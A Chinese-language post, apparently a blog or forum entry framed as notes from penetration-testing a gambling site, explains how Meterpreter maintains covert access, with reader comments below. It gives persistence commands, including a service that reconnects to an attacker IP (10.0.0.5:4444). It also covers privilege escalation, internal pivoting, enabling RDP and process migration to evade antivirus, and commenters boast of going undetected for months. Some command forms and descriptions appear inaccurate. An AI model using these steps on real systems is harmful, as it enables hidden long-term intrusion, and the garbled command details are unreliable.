Meterpreter在权限维持中的核心作用与常见命令解析
TOPIC SOURCE
对某菠菜的渗透测试笔记
在渗透测试的后期阶段,攻击者往往需要把一次成功的提权转化为长期可控的入口,而Meterpreter正是实现这一目标的核心工具。它的会话对象本身具备动态加载模块的能力,使得在获得系统权限后仍能保持低噪声的持久化通道。
权限维持的技术要点
Meterpreter的持久化并非简单的注册表写入,而是依据目标环境选择最合适的植入方式。比如在Windows上可以利用服务、计划任务或WMI;在linux上则倾向于Cron或Systemd单元。每一种方式都对应不同的检测风险,选对了载体往往意味着几个月甚至更久的隐蔽存在。
常见持久化命令解析
- run persistence -X -i 30 -p 4444 -r 10.0.0.5:在目标机器上创建一个自启动的Meterpreter服务,-X 表示使用Windows服务方式,-i 为重连间隔秒数,-p 为监听端口,-r 为攻击者IP。此命令会自动写入注册表键值并创建服务。
- run autoroute -s 10.0.0.0/24:为后续的内部网络扫描打开路由通道,隐藏在已有会话里,避免额外的外部连接。
- run getsystem:尝试提升到SYSTEM级别,内部实现会遍历可利用的提权漏洞,如Token Impersonation或SeDebugPrivilege。
- run post/windows/manage/enable_rdp:开启远程桌面服务并将当前用户加入Administrators组,常用于后期的图形化交互。
- run migrate -N explorer.exe:将Meterpreter进程迁移到系统常驻进程,降低被杀软捕获的概率。
# 示例:在目标机器上创建自启动服务
run persistence -X -i 30 -p 4444 -r 10.0.0.5
# 生成的服务名称默认为 "Meterpreter Service"
# 可通过 sc query "Meterpreter Service" 检查状态
实际操作中,常见的误区是盲目使用 run persistence 而不检查防病毒白名单;相反,先通过 run getsystem 确认权限后,再依据系统日志路径选择写入位置,成功率会提升数倍。每一次持久化的落地,都像在暗夜里埋下一个隐形的钉子,只有细致的环境侦查才能让它不被轻易拔出。

参与讨论
这持久化方式挺稳的
用service方式持久化,噪声低,防杀软几率小,适合大多数Windows环境,记得检查注册表权限
run getsystem配合token提权,成功率真的提升不少
别忘了在linux上用cron写入脚本时,最好检查一下系统的PATH环境变量,防止路径错位导致任务不启动
持久化服务会不会被默认防火墙拦住?
run autoroute的-s参数到底是限定子网还是全局路由?
其实这命令在新版Meterpreter已废
我之前在一次渗透里用了run persistence,结果两个月都没被发现
前几天刚用migrate到explorer,卡顿几乎看不出来
这文又是标题党